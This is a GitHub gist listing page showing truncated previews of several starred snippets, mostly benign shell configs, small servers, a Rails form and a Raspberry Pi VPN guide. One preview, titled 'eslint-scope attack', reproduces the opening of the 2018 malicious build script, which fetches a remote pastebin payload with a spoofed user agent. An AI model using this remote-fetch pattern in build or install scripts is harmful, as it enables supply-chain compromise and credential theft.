Skip to content

Instantly share code, notes, and snippets.

View YerkoPalma's full-sized avatar
🙊
(Not) Working?

Yerko Palma YerkoPalma

🙊
(Not) Working?
View GitHub Profile
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
# bashrc for c9 workspaces
# by Yerko Palma
. /etc/apache2/envvars
# If not running interactively, don't do anything else
[ -z "$PS1" ] && return
# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
const html = require('choo/html')
const css = require('sheetify')
// first we import all of tachyons, it's a design system and the class names
// are the interface
css('tachyons')
// Then we define some of our variables. This is just to show these values can
// be interpolated. Realistically only colors really have to be declared here
// as they're re-used. Almost all other values will only be declared once
@amejiarosario
amejiarosario / static_server.js
Created August 24, 2016 21:49
Node.js quick file server (static files over HTTP) using es6+
const http = require('http');
const url = require('url');
const fs = require('fs');
const path = require('path');
const port = process.argv[2] || 9000;
http.createServer(function (req, res) {
console.log(`${req.method} ${req.url}`);
// parse URL
alias ..='cd ..'
alias ls='gls --color=auto'
alias ll='ls -lh --group-directories-first'
alias slt='open -a "Sublime Text"'
alias npm-offline="npm --cache-min Infinity "
alias publish='git push && git push --tags && npm publish'
alias nodeir='node --trace-hydrogen --trace-phase=Z --trace-deopt --code-comments --hydrogen-track-positions --redirect-code-traces --redirect-code-traces-to=code.asm --print-opt-code --trace_hydrogen_file=hydrogen.cfg'
export HISTCONTROL=ignoredups
export PS1="\[\033[44m\] \W \[\033[49m\]\[\033[42m\]\$(__git_ps1 \" %s \")\[\033[49m\] "
@YerkoPalma
YerkoPalma / new.html.erb
Last active February 25, 2016 17:22
Actualización de dropdown de comunas en base a regiones en rails (sin ajax)
<%= form_for(:user, :url => {:action => 'create', :controller=>"users"}, :class => "col s12") do |f| %>
<% cities_array = @regiones.map { |city| [city[:nombre], city[:codigo]] } %>
<%= f.select( :region, options_for_select(cities_array), {}, {}) %>
<%= f.label :region %>
<%= f.select(:comuna, [], {}, {}) %>
<%= f.label :comuna %>
<button type="submit" name="action">Siguiente</button>
@superjamie
superjamie / raspberry-pi-vpn-router.md
Last active July 2, 2024 07:48
Raspberry Pi VPN Router

Raspberry Pi VPN Router

This is a quick-and-dirty guide to setting up a Raspberry Pi as a "router on a stick" to PrivateInternetAccess VPN.

Requirements

Install Raspbian Jessie (2016-05-27-raspbian-jessie.img) to your Pi's sdcard.

Use the Raspberry Pi Configuration tool or sudo raspi-config to:

@SleepWalker
SleepWalker / swipe.js
Created September 30, 2015 04:59
A simple swipe detection on vanilla js
var touchstartX = 0;
var touchstartY = 0;
var touchendX = 0;
var touchendY = 0;
var gesuredZone = document.getElementById('gesuredZone');
gesuredZone.addEventListener('touchstart', function(event) {
touchstartX = event.screenX;
touchstartY = event.screenY;
@staltz
staltz / introrx.md
Last active July 15, 2024 15:43
The introduction to Reactive Programming you've been missing
@aksakalli
aksakalli / SimpleHTTPServer.cs
Last active June 7, 2024 08:38
SimpleHTTPServer in C#
// MIT License - Copyright (c) 2016 Can Güney Aksakalli
// https://aksakalli.github.io/2014/02/24/simple-http-server-with-csparp.html
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.Net;
using System.IO;